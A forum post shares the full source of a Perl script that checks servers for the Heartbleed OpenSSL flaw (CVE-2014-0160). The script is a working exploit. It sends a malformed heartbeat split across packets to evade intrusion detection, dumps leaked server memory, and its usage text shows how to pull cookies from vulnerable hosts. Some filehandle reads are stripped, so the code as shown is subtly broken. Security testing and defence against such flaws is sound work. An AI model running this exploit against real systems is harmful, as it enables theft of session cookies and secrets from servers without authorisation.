Jump to content
YOUR-AD-HERE
HOSTING
TOOLS

Locked Check SSL Heartbleed


Recommended Posts

[HIDE-THANKS][LENGUAJE=html]#!/usr/bin/perl

# Copyright: Steffen Ullrich 2014

# feel free to use, copy, modify without restrictions - NO WARRANTY

 

use strict;

use warnings;

use Getopt::Long qw(:config posix_default bundling);

 

# try to use IPv6

my $INETCLASS;

BEGIN {

my @mod = qw(IO::Socket::IP IO::Socket::INET6 IO::Socket::INET);

while ($INETCLASS = shift @mod) {

last if eval "require $INETCLASS";

die "failed to load $INETCLASS: $@" if ! @mod;

}

}

 

my $starttls = sub {1};

my $starttls_arg;

my $timeout = 5;

my $quiet = 0;

my $show = 0;

my $show_ascii = 0;

my $ssl_version = 'auto';

my @show_regex;

my $heartbeats = 1;

my $show_cert;

my $sni_hostname;

my %starttls = (

'smtp' => [ 25, \&smtp_starttls ],

'http_proxy' => [ 8000, \&http_connect ],

'http_upgrade' => [ 80, \&http_upgrade ],

'imap' => [ 143, \&imap_starttls ],

'pop' => [ 110, \&pop_stls ],

'ftp' => [ 21, \&ftp_auth ],

'postgresql' => [ 5432, \&postgresql_init ],

);

 

sub usage {

print STDERR "ERROR: @_\n" if @_;

print STDERR

 

Check if server is vulnerable against heartbleed SSL attack (CVE-2014-0160)

Features:

- can start with plain and upgrade with STARTTLS or similar commands with

IMAP, POP, SMTP, FTP, HTTP and HTTP proxies, PostgreSQL

- heartbeat request is sent in two packets to circumvent simple packet

matching IDS or packet filters

- handshake is done with TLS1.0 for better compatibility, heartbeat uses

SSL version from server

- can use regular expressions to directly extract information from

vulnerable sites

- can use IPv6

 

Usage: $0 [ --starttls proto[:arg] ] [ --timeout T ] host:port

-h|--help - this screen

--starttls proto[:arg] - start plain and upgrade to SSL with starttls protocol

(imap,smtp,http_upgrade,http_connect,pop,ftp,postgresql)

-q|--quiet - don't show anything, exit 1 if vulnerable

-c|--show-cert - show some information about certificate

-s|--show-data [L] - show heartbeat response if vulnerable, optional

parameter L specifies number of bytes per line (16)

-a|--show-ascii [L] - show heartbeat response ascii only if vulnerable, optional

parameter L specifies number of bytes per line (80)

-R|--show-regex-match R - show data matching perl regex R. Option can be

used multiple times

--ssl_version V - specify SSL version to use, e.g. ssl3, tlsv1,

tlsv1_1, tlsv1_2 or auto (default), which tries

until it gets a server hello back

--sni-hostname H - specifiy hostname for SNI, set to '' to disable SNI

will try with target host of not given

-H|--heartbeats N - number of heartbeats (default 1)

-T|--timeout T - use timeout (default 5)

 

Examples:

# check direct www, imaps .. server

$0

This is the hidden content, please

$0

This is the hidden content, please

$0 mail.google.com:imaps

 

# try to get Cookies

$0 -R 'Cookie:.*'

This is the hidden content, please

 

# check webserver via proxy

$0 --starttls http_proxy:http://www.google.com:443 proxy:8000

 

# check webserver with http upgrade (OPTIONS *...)

$0 --starttls http_upgrade 127.0.0.1:631

 

# check webserver with http upgrade (GET /..)

$0 --starttls http_upgrade:get=/ 127.0.0.1:631

 

# check imap server, start with plain and upgrade

$0 --starttls imap imap.gmx.net:143

 

# check pop server, start with plain and upgrade

$0 --starttls pop pop.gmx.net:110

 

# check smtp server, start with plain and upgrade

$0 --starttls smtp smtp.gmail.com:587

 

 

USAGE

exit(2);

}

 

my $default_port = 443;

GetOptions(

'h|help' => sub { usage() },

'T|timeout=i' => \$timeout,

's|show-data:i' => sub { $show = $_[1] || 16 },

'a|show-ascii:i' => sub { $show_ascii = $_[1] || 80 },

'R|show-regex-match:s' => \@show_regex,

'c|show-cert' => \$show_cert,

'q|quiet' => \$quiet,

'sni-hostname:s' => \$sni_hostname,

'H|heartbeats=i' => \$heartbeats,

'starttls=s' => sub {

(my $proto,$starttls_arg) = $_[1] =~m{^(\w+)(?::(.*))?$};

my $st = $proto && $starttls{$proto};

usage("invalid starttls protocol $_[1]") if ! $st;

($default_port,$starttls) = @$st;

},

'ssl_version=s' => \$ssl_version,

);

 

# use Net::SSLeay to print certificate information

# need version >= 1.46 for d2i_x509_bio

my $load_netssleay = sub {

return 1 if eval { require Net::SSLeay } && $Net::SSLeay::VERSION >= 1.46;

return if shift; # try w/o error

die "need Net::SSLeay >= 1.46 to show certificate information";

};

$load_netssleay->(0) if $show_cert;

 

# try to do show_cert by default if not quiet, but don't complain if we

# cannot do it because we have no Net::SSLeay

$show_cert ||= ! $quiet && $load_netssleay->(1) && -1;

 

$ssl_version =

lc($ssl_version) eq 'ssl3' ? 0x0300 :

$ssl_version =~ m{^tlsv?1(?:_([12]))?}i ? 0x0301 + ($1||0) :

0; # try possible versions

 

my $show_regex;

if (@show_regex) {

my @rx;

push @rx, eval { qr{$_} } || die "invalid perl regex '$_'"

for(@show_regex);

$show_regex = join('|',@rx);

$show_regex = eval { qr{$show_regex} } || die "invalid regex: $show_regex";

}

 

my $dst = shift(@ARGV) or usage("no destination given");

$dst .= ":$default_port" if $dst !~ m{^([^:]+|.+\]):\w+$};

( my $hostname = $dst ) =~s{:\w+$}{};

$hostname = $1 if $hostname =~m{^\[(.*)\]$};

 

if ( ! defined $sni_hostname ) {

$sni_hostname = $hostname;

$sni_hostname = '' if $sni_hostname =~m{:|^[\d\.]+$}; # IP6/IP4

}

 

my $connect = sub {

my ($ssl_version,$sni,$ciphers) = @_;

 

my $cl = $INETCLASS->new(

ref($dst) ? ( PeerAddr => $dst->[0], PeerPort => $dst->[1] )

: ( PeerAddr => $dst ),

Timeout => $timeout

) or die "failed to connect: $!";

# save dst to not resolve name every connect attempt

$dst = [ $cl->peerhost, $cl->peerport ] if ! ref($dst);

 

# disable NAGLE to send heartbeat with multiple small packets

setsockopt($cl,6,1,pack("l",1));

# skip plaintext before starting SSL handshake

$starttls->($cl,$hostname);

 

# extensions

my $ext = '';

if ( defined $sni and $sni ne '' ) {

$ext .= pack('nn/a*', 0x00, # server_name extension + length

pack('n/a*', # server_name list length

pack('Cn/a*',0,$sni) # type host_name(0) + length/server_name

));

}

 

# built and send ssl client hello

my $hello_data = pack("nNn14Cn/a*C/a*n/a*",

$ssl_version,

time(),

( map { rand(0x10000) } (1..14)),

0, # session-id length

pack("C*",@$ciphers),

"\0", # compression null

$ext,

);

 

$hello_data = substr(pack("N/a*",$hello_data),1); # 3byte length

print $cl pack(

"Cnn/a*",0x16,$ssl_version, # type handshake, version, length

pack("Ca*",1,$hello_data), # type client hello, data

);

 

my $use_version;

my $got_server_hello;

my $err;

while (1) {

my ($type,$ver,@msg) = _readframe($cl,\$err) or return;

 

# first message must be server hello

$got_server_hello ||= $type == 22 and grep { $_->[0] == 2 } @msg;

return if ! $got_server_hello;

 

# wait for server hello done

if ( $type == 22 and grep { $_->[0] == 0x0e } @msg ) {

# server hello done

$use_version = $ver;

last;

}

}

 

return ($cl,$use_version);

};

 

# these are the ciphers we try

# that's all openssl -V ciphers reports with my openssl1.0.1

my @ssl3_ciphers = (

0xC0,0x14, 0xC0,0x0A, 0xC0,0x22, 0xC0,0x21, 0x00,0x39, 0x00,0x38,

0x00,0x88, 0x00,0x87, 0xC0,0x0F, 0xC0,0x05, 0x00,0x35, 0x00,0x84,

0x00,0x8D, 0xC0,0x12, 0xC0,0x08, 0xC0,0x1C, 0xC0,0x1B, 0x00,0x16,

0x00,0x13, 0xC0,0x0D, 0xC0,0x03, 0x00,0x0A, 0x00,0x8B, 0xC0,0x13,

0xC0,0x09, 0xC0,0x1F, 0xC0,0x1E, 0x00,0x33, 0x00,0x32, 0x00,0x9A,

0x00,0x99, 0x00,0x45, 0x00,0x44, 0xC0,0x0E, 0xC0,0x04, 0x00,0x2F,

0x00,0x96, 0x00,0x41, 0x00,0x8C, 0xC0,0x11, 0xC0,0x07, 0xC0,0x0C,

0xC0,0x02, 0x00,0x05, 0x00,0x04, 0x00,0x8A, 0x00,0x15, 0x00,0x12,

0x00,0x09, 0x00,0x14, 0x00,0x11, 0x00,0x08, 0x00,0x06, 0x00,0x03,

);

my @tls12_ciphers = (

0xC0,0x30, 0xC0,0x2C, 0xC0,0x28, 0xC0,0x24, 0x00,0xA3, 0x00,0x9F,

0x00,0x6B, 0x00,0x6A, 0xC0,0x32, 0xC0,0x2E, 0xC0,0x2A, 0xC0,0x26,

0x00,0x9D, 0x00,0x3D, 0xC0,0x2F, 0xC0,0x2B, 0xC0,0x27, 0xC0,0x23,

0x00,0xA2, 0x00,0x9E, 0x00,0x67, 0x00,0x40, 0xC0,0x31, 0xC0,0x2D,

0xC0,0x29, 0xC0,0x25, 0x00,0x9C, 0x00,0x3C,

);

 

 

# try to connect and do ssl handshake either with the specified version or with

# different versions (downgrade). Some servers just close if you start with

# TLSv1.2 instead of replying with a lesser version

my ($cl,$use_version);

for my $ver ( $ssl_version ? $ssl_version : ( 0x303, 0x302, 0x301, 0x300 )) {

my @ciphers = (( $ver == 0x303 ? @tls12_ciphers : ()), @ssl3_ciphers );

if ( $sni_hostname ) {

verbose("...try to connect with version 0x%x with SNI",$ver);

($cl,$use_version) = $connect->( $ver, $sni_hostname, \@ciphers ) and last;

}

verbose("...try to connect with version 0x%x w/o SNI",$ver);

($cl,$use_version) = $connect->( $ver, $sni_hostname, \@ciphers ) and last;

}

 

# TODO: if everything fails we might have a F5 in front which cannot deal

# with large client hellos.

die "Failed to make a successful TLS handshake with peer.\n".

"Either peer does not talk SSL or sits behind some stupid SSL middlebox."

if ! $cl;

 

# heartbeat request with wrong size

# send in two packets to work around stupid IDS which try

# to detect attack by matching packets only

my $hb = pack("Cnn/a*",0x18,$use_version,

pack("Cn",1,0x4000));

 

for (1..$heartbeats) {

verbose("...send heartbeat#$_");

print $cl substr($hb,0,1);

print $cl substr($hb,1);

}

 

my $err;

if ( my ($type,$ver,$buf) = _readframe($cl,\$err,1)) {

if ( $type == 21 ) {

verbose("received alert (probably not vulnerable)");

} elsif ( $type != 24 ) {

verbose("unexpected reply type $type");

} elsif ( length($buf)>3 ) {

verbose("BAD! got ".length($buf)." bytes back instead of 3 (vulnerable)");

show_data($buf,$show) if $show;

show_ascii($buf,$show_ascii) if $show_ascii;

if ( $show_regex ) {

while ( $buf =~m{($show_regex)}g ) {

print STDERR $1."\n";

}

}

exit 1;

} else {

verbose("GOOD proper heartbeat reply (not vulnerable)");

}

} else {

verbose("no reply($err) - probably not vulnerable");

}

 

sub _readframe {

my ($cl,$rerr,$errok) = @_;

my $len = 5;

my $buf = '';

vec( my $rin = '',fileno($cl),1 ) = 1;

while ( length($buf)

if ( ! select( my $rout = $rin,undef,undef,$timeout )) {

$$rerr = 'timeout';

last if $errok;

return;

};

if ( ! sysread($cl,$buf,$len-length($buf),length($buf))) {

$$rerr = "eof";

$$rerr .= " after ".length($buf)." bytes" if $buf ne '';

last if $errok;

return;

}

$len = unpack("x3n",$buf) + 5 if length($buf) == 5;

}

return if length($buf)

(my $type, my $ver) = unpack("Cnn",substr($buf,0,5,''));

my @msg;

if ( $type == 22 ) {

while ( length($buf)>=4 ) {

my ($ht,$len) = unpack("Ca3",substr($buf,0,4,''));

$len = unpack("N","\0$len");

push @msg,[ $ht,substr($buf,0,$len,'') ];

verbose("...ssl received type=%d ver=0x%x ht=0x%x size=%d",

$type,$ver,$ht,length($msg[-1][1]));

if ( $show_cert && $ht == 11 ) {

my $clen = unpack("N","\0".substr($msg[-1][1],0,3));

my $certs = substr($msg[-1][1],3,$clen);

my $i = 0;

while ($certs ne '') {

my $clen = unpack("N","\0".substr($certs,0,3,''));

my $cert = substr($certs,0,$clen,'');

length($cert) == $clen or

die "invalid certificate length ($clen vs. ".length($cert).")";

if ( my $line = eval { cert2line($cert) } ) {

printf "[%d] %s\n",$i, $line;

} elsif ( $show_cert>0 ) {

die "failed to convert cert to string: $@";

}

$i++;

}

}

}

} else {

@msg = $buf;

verbose("...ssl received type=%d ver=%x size=%d",

$type,$ver,length($buf));

}

 

return ($type,$ver,@msg);

}

 

sub smtp_starttls {

my $cl = shift;

my $last_status_line = qr/((\d)\d\d(?:\s.*)?)/;

my ($line,$code) = _readlines($cl,$last_status_line);

$code == 2 or die "server denies access: $line\n";

print $cl "EHLO example.com\r\n";

($line,$code) = _readlines($cl,$last_status_line);

$code == 2 or die "server did not accept EHLO: $line\n";

print $cl "STARTTLS\r\n";

($line,$code) = _readlines($cl,$last_status_line);

$code == 2 or die "server did not accept STARTTLS: $line\n";

verbose("...reply to starttls: $line");

return 1;

}

 

sub imap_starttls {

my $cl = shift;

; # welcome

print $cl "abc STARTTLS\r\n";

while () {

m{^abc (OK)?} or next;

$1 or die "STARTTLS failed: $_";

s{\r?\n$}{};

verbose("...starttls: $_");

return 1;

}

die "starttls failed";

}

 

sub pop_stls {

my $cl = shift;

; # welcome

print $cl "STLS\r\n";

my $reply = ;

die "STLS failed: $reply" if $reply !~m{^\+OK};

$reply =~s{\r?\n}{};

verbose("...stls $reply");

return 1;

}

 

sub http_connect {

my $cl = shift;

$starttls_arg or die "no target host:port given";

print $cl "CONNECT $starttls_arg HTTP/1.0\r\n\r\n";

my $hdr = _readlines($cl,qr/\r?\n/);

$hdr =~m{\A(HTTP/1\.[01]\s+(\d\d\d)[^\r\n]*)};

die "CONNECT failed: $1" if $2 != 200;

verbose("...connect request: $1");

return 1;

}

 

sub http_upgrade {

my ($cl,$hostname) = @_;

my $rq;

if ( $starttls_arg && $starttls_arg =~m{^get(?:=(\S+))?}i ) {

my $path = $1 || '/';

$rq = "GET $path HTTP/1.1\r\n".

"Host: $hostname\r\n".

"Upgrade: TLS/1.0\r\n".

"Connection: Upgrade\r\n".

"\r\n";

} else {

my $path = $starttls_arg && $starttls_arg =~m{^options=(\S+)}i

? $1:'*';

$rq = "OPTIONS $path HTTP/1.1\r\n".

"Host: $hostname\r\n".

"Upgrade: TLS/1.0\r\n".

"Connection: Upgrade\r\n".

"\r\n";

}

print $cl $rq;

my $hdr = _readlines($cl,qr/\r?\n/);

$hdr =~m{\A(HTTP/1\.[01]\s+(\d\d\d)[^\r\n]*)};

die "upgrade not accepted, code=$2 (expect 101): $1" if $2 != 101;

verbose("...tls upgrade request: $1");

return 1;

}

 

sub ftp_auth {

my $cl = shift;

my $last_status_line = qr/((\d)\d\d(?:\s.*)?)/;

my ($line,$code) = _readlines($cl,$last_status_line);

die "server denies access: $line\n" if $code != 2;

print $cl "AUTH TLS\r\n";

($line,$code) = _readlines($cl,$last_status_line);

die "AUTH TLS denied: $line\n" if $code != 2;

verbose("...ftp auth: $line");

return 1;

}

 

sub postgresql_init {

my $cl = shift;

# magic header to initiate SSL:

#

This is the hidden content, please

print $cl pack("NN",8,80877103);

read($cl, my $buf,1 ) or die "did not get response from postgresql";

$buf eq 'S' or die "postgresql does not support SSL (response=$buf)";

verbose("...postgresql supports SSL: $buf");

return 1;

}

 

sub verbose {

return if $quiet;

my $msg = shift;

$msg = sprintf($msg,@_) if @_;

print STDERR $msg,"\n";

}

 

sub show_data {

my ($data,$len) = @_;

my $lastd = '';

my $repeat = 0;

while ( $data ne '' ) {

my $d = substr($data,0,$len,'' );

$repeat++,next if $d eq $lastd;

$lastd = $d;

if ( $repeat ) {

print STDERR "... repeated $repeat times ...\n";

$repeat = 0;

}

( my $h = unpack("H*",$d)) =~s{(..)}{$1 }g;

( my $c = $d ) =~s{[\x00-\x20\x7f-\xff]}{.}g;

my $hl = $len*3;

printf STDERR "%-${hl}s %-${len}s\n",$h,$c;

}

print STDERR "... repeated $repeat times ...\n" if $repeat;

}

 

sub show_ascii {

my ($data,$len) = @_;

my $lastd = '';

my $repeat = 0;

while ( $data ne '' ) {

my $d = substr($data,0,$len,'' );

$repeat++,next if $d eq $lastd;

$lastd = $d;

if ( $repeat ) {

print STDERR "... repeated $repeat times ...\n";

$repeat = 0;

}

( my $c = $d ) =~s{[\x00-\x20\x7f-\xff]}{.}g;

printf STDERR "%-${len}s\n",$c;

}

print STDERR "... repeated $repeat times ...\n" if $repeat;

}

 

sub cert2line {

my $der = shift;

my $bio = Net::SSLeay::BIO_new( Net::SSLeay::BIO_s_mem());

Net::SSLeay::BIO_write($bio,$der);

my $cert = Net::SSLeay::d2i_X509_bio($bio);

Net::SSLeay::BIO_free($bio);

$cert or die "cannot parse certificate: ".

Net::SSLeay::ERR_error_string(Net::SSLeay::ERR_get_error());

my $not_before = Net::SSLeay::X509_get_notBefore($cert);

my $not_after = Net::SSLeay::X509_get_notAfter($cert);

$_ = Net::SSLeay::P_ASN1_TIME_put2string($_) for($not_before,$not_after);

my $subject = Net::SSLeay::X509_NAME_oneline(

Net::SSLeay::X509_get_subject_name($cert));

return "$subject | $not_before - $not_after";

}

 

sub _readlines {

my ($cl,$stoprx) = @_;

my $buf = '';

while () {

$buf .= $_;

return $buf if ! $stoprx;

next if ! m{\A$stoprx\Z};

return ( m{\A$stoprx\Z},$buf );

}

die "eof" if $buf eq '';

die "unexpected response: $buf";

}[/LENGUAJE][/HIDE-THANKS]

Link to comment
Share on other sites

Guest
This topic is now closed to further replies.
×
×
  • Create New...

Important Information

We have placed cookies on your device to help make this website better. You can adjust your cookie settings, otherwise we'll assume you're okay to continue.